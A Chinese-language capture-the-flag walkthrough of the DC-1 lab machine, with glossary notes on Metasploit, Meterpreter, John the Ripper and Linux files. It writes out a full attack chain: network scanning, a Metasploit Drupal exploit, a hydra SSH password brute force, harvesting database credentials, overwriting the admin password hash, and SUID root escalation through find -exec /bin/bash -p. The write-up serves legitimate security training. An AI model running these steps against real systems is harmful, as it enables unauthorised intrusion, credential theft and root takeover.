过程
1.使用arp-scan -l扫描当前局域网中所有设备,将找到的所有设备和DC-1的MAC地址进行对比,找到DC-1的IP。arp-scan是一个依靠ARP协议进行扫描的工具
2. 使用nmap -A 192.168.16.153进行全面扫描DC-1发现22和80端口开放,因为不知道DC-1使用的账户,所以先登录80端网页。
map:Network Mapper(网络映射器),Nmap用于浏览网络,执行安全扫描,网络审计以及在远程机器找到开放端口。它可以扫描在线主机,操作系统,滤包器和远程主机打开的端口。
nmap -A 【目标】 #全面扫描
3.登录web网站,先使用BP爆破尝试爆破账户、密码,并未爆破出密码;使用wappalyzer技术查看到是内容管理系统(CMS)使用MSF漏洞库搜索drupal,并进行攻击。
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。
Msfconsole简称(msf)是Metasploit Framework的命令行交互式界面。它是Metasploit Framework最常用的工具之一,提供了对Metasploit功能的快速访问和控制。
4.启动msf的数据库:msfdb start
启动msfconsole,搜索search Drupal
5.使用第二个漏洞:use2,使用show missing查看一下必须要设置的选项
看到需要设置rhosts,rhosts就是设置靶机的IP地址
6.使用set 设置 :set rhosts 192.168.16.153
使用 show options查看设置好的信息
7. 确认设置的信息后输入run开始执行攻击,
meterpreter:是一个用于远程控制计算机的工具,它可以在目标计算机上执行命令、上传和下载文件、截取屏幕等操作。它是Metasploit框架中的一个模块,通常用于渗透测试和漏洞利用。
8.使用ls查看当前目录下所有文件,发现第一个flag 1.txt
ls:查看当前目录下所有文件,找到第一个flag后查看内容,cat flag1.txt
9.查看一下靶机的用户,发现有个flag4的用户:cat /etc/passwd
/etc/passwd:存储系统用户账户的信息。
10.使用九头蛇(hydra)来爆破看看是否能拿到密码orange:hydra -l flag4 -P /usr/share/john/password.lst 192.168.16.153 ssh/usr/share/john/ 是 John the Ripper密码破解工具的默认安装目录。指定攻击的类型是ssh
11. 通过SSH连接到flag4用户 使用flag4账户和密码ssh连接用户 :ssh flag4@192.168.16.153
12.ls找到了flag4.txt,从而可知还有两个flag还未找到,有可能在web上,因为有开放web服务
13.已经登录进了靶机,查看web的配置文件,因为drupal的配置文件在var/www下的/sites/default/settings.php(百度可知),先进入var/www :cd /var/www
14.查看/sites/default/settings.php,在配置中看到了flag2还有数据库的信息:数据库的账号:dbuser密码:R0ck3t数据库是:MySQL
more sites/default/settings.php #批量查看
15.连接数据库:mysql -u dbuser -p
16.查看数据库:show databases;
17. 使用drupaldb数据库 :use drupaldb;
18.查看数据表 :show tables;
19.查看user中数据,看到了管理员的密码,但是是哈希值 :select * from users;
20. 退出数据库,搜索passwd,quit:退出数据库看到/var/www/scripts下有password-hash.sh:find / -name password*
21.尝试执行password-hash.sh :scripts/password-hash.sh
22. 尝试在后面加上密码生成哈希值
23. 得到哈希值,将哈希值替换原来admin的哈希值 :
update users set pass='$S$DoGwUA2Mz3604jbP.rBfrPDDJEzRorCxOMOtWBDnEuW4a1/56GLk
' where name='admin';
24.在web界面尝试登录,找到flag3
25.提权 :find -name flag4.txt -exec /bin/bash -p \;
这个命令是用于在当前目录及其子录中查找名为 "flag4.txt" 的文件,并且在找到每个文件后执行 /bin/bash -p 命令。 每个部分的含义:
-
find:这是一个用于在文件系统中搜索文件和目录的命令。
-
-name flag4.txt:这是 find 命令的选项之一,用于指定要搜索的文件名为 "flag4.txt"。
-
-exec:这也是 find 命令的选项之一,它允许在找到每个文件后执行指定的命令。
-
/bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示以特权(即以 root 用户)运行 bash。这将打开一个交互式 shell 环境,具有 root 用户权限。
总结
1. Meterpreter
Meterpreter是Metasploit框架中一种强大的后渗透工具,用于在目标系统上执行各种进程控制、信息收集、权限提升和持久化技术等操作。它是一个基于交互式命令行的模块化载荷,可与受感染的目标系统进行远程通信。
Meterpreter的功能强大,灵活性高,提供了很多有用的命令和功能,包括:
-
进程控制:可查看、创建、终止和注入进程。
-
文件系统:可以浏览、上传、下载、编辑和删除文件。
-
系统信息:可获取目标主机的详细信息,如操作系统类型、内核版本等。
-
网络管理:可以查看网络接口、扫描主机、进行端口转发等操作。
-
权限提升:可尝试获取更高的权限,如提升到管理员或SYSTEM权限。
-
持久化:可以在目标系统上建立后门,以确保长期访问权限。
-
密码破解:可尝试破解保存在目标主机上的密码或凭证。
-
渗透测试工具:可以使用内置的渗透测试工具,如键盘记录器、截屏、远程桌面等。
Meterpreter通常通过漏洞利用等方式在目标系统上进行部署,并与Metasploit框架进行通信。它提供了一个强大的命令行界面,允许渗透测试人员执行各种后渗透操作来探索目标系统并进一步攻击或保持访问权限。
需要注意的是,Meterpreter是一个强大且潜在危险的工具,只能在合法授权的测试环境中使用,严禁用于非法活动或未经授权的攻击。
2. Metasploit Framework(msf)
Metasploit Framework是一个开源的渗透测试工具集,用于发现安全漏洞、评估系统安全性和进行渗透测试。它由Metasploit项目开发并维护,可运行在多个操作系统上,如Linux、Windows和Mac OS X。
Metasploit Framework提供了一个功能强大的界面和一系列工具,包括:
-
漏洞扫描:可以对目标系统进行安全漏洞扫描,找出潜在的弱点。
-
漏洞利用:提供了多个漏洞利用模块,用于对已发现的漏洞进行利用和渗透。
-
Payload生成:可以生成各种类型的Payload(载荷),包括反向连接、Shellcode和Meterpreter等。
-
社会工程学:包括钓鱼攻击、恶意链接和恶意文件等,用于测试目标系统的用户安全意识和反应能力。
-
持久性:提供了一些工具和技术,用于在目标系统上建立持久性访问权限,保持对系统的控制。
-
密码破解:可以使用不同的手段对密码进行破解,如字典攻击、暴力破解和在线破解等。
-
渗透测试报告:生成详细的渗透测试报告,记录发现的漏洞和测试的结果。
Metasploit Framework的强大之处在于其庞大的漏洞和利用数据库,以及丰富的功能和模块化架构,使其成为渗透测试人员和安全专家广泛使用的工具。同时,Metasploit也赋予了安全从业者对系统和网络的评估能力,帮助他们提前发现潜在的安全风险并采取措施加以修复。然而,需要强调的是,Metasploit只能在合法授权的环境中使用,违法使用将受到法律制裁。
3. Msfconsole
Msfconsole(Metasploit Console)是Metasploit Framework的命令行交互式界面。它是Metasploit Framework最常用的工具之一,提供了对Metasploit功能的快速访问和控制。
通过Msfconsole,用户可以执行各种操作,包括漏洞扫描、漏洞利用、Payload生成和渗透测试等。以下是一些Msfconsole中常用的命令和功能:
-
模块选择:Msfconsole允许用户从大量的漏洞利用模块、Payload生成器和辅助模块等中进行选择。
-
搜索和过滤:可以使用
search
命令搜索特定的模块或关键字,并使用过滤器对结果进行筛选。 -
目标设置:通过
set
命令设置目标系统的IP地址、端口和其他相关参数。 -
载荷生成:使用
generate
命令生成特定类型的Payload,例如反向连接、Meterpreter或Shellcode。 -
漏洞扫描:可以使用
db_nmap
命令或workspace
模块执行漏洞扫描,并将扫描结果保存到数据库中。 -
漏洞利用:使用
exploit
命令执行特定的漏洞利用模块,并获取对目标系统的访问权限。 -
Meterpreter会话:如果成功利用了漏洞,可以通过Meterpreter会话与目标系统进行交互,执行各种后渗透操作。
-
渗透测试报告:Msfconsole提供了生成渗透测试报告的命令和选项,方便用户记录和整理测试结果。
Msfconsole还支持自定义脚本和自动化任务,以便更高效地执行渗透测试任务。此外,使用help
命令可以获取有关Msfconsole命令和用法的帮助信息。
需要注意的是,Msfconsole是Metasploit Framework的一部分,仅应在合法授权和控制的环境中使用,严禁将其用于非法活动或未经授权的攻击。
4. /etc
/etc
是Linux系统中一个重要的目录,它存储系统的配置文件。该目录下的文件用于配置不同软件和服务,以及对系统行为进行一些设置。下面是一些 /etc
目录下常见的文件和子目录:
-
/etc/passwd
:存储系统用户账户的信息。 -
/etc/group
:存储系统用户组的信息。 -
/etc/shadow
:存储用户账户的加密密码信息。 -
/etc/hosts
:包含网络主机名与 IP 地址的映射关系。 -
/etc/resolv.conf
:定义域名解析服务器的配置。 -
/etc/network/interfaces
或/etc/sysconfig/network-scripts/ifcfg-<interface>
:存储网络接口的配置信息。 -
/etc/fstab
:定义文件系统的挂载点和选项。 -
/etc/apt/sources.list
或/etc/yum.repos.d
:存储包管理器的软件源配置。 -
/etc/apache2
或/etc/nginx
:存储 Web 服务器(如 Apache 或 Nginx)的配置文件。 -
/etc/ssh
:包含 SSH 服务器的配置文件和密钥。 -
/etc/crontab
或/etc/cron.d
:存储定时任务(Cron 任务)的配置。
除了上述示例,/etc
目录还可能包含其他软件、服务和系统的配置文件。请注意,在修改该目录下的文件之前,一定要小心并备份相关配置文件,以免造成系统故障。
5. /usr/share/john/
/usr/share/john/
是John the Ripper密码破解工具的默认安装目录。John the Ripper是一个常用的密码破解工具,用于测试和评估密码的强度。
在/usr/share/john/
目录下,你可以找到John the Ripper工具的各种组件和资源文件,包括:
-
john
可执行文件:用于运行John the Ripper命令行工具。 -
run
脚本:一个用于简化密码破解流程的脚本,可以通过输入密码哈希值文件来进行破解。 -
chr*
文件:字符集文件,包含各种密码破解时使用的字符集定义。 -
john.conf
:John the Ripper的主要配置文件,用于设置破解选项和参数。 -
doc
目录:包含有关John the Ripper的文档和帮助文件。
除了这些,/usr/share/john/
目录可能还包含John the Ripper的其他资源文件和扩展插件,用于支持不同类型密码的破解。
请注意,John the Ripper是一个强大的密码破解工具,但仅在合法授权或道德安全测试的范围内使用。未经授权的密码破解是非法的,可能涉及侵犯他人隐私和系统的违法行为。在使用John the Ripper或类似工具时,请始终遵守法律和道德准则。
6. SSH命令
SSH命令格式为:
ssh username@hostname
其中,username
是您在目标主机上的用户名,hostname
是目标主机的IP地址或域名。如果需要指定自定义的SSH端口号,可以使用-p
参数,例如ssh -p 2222 username@hostname
。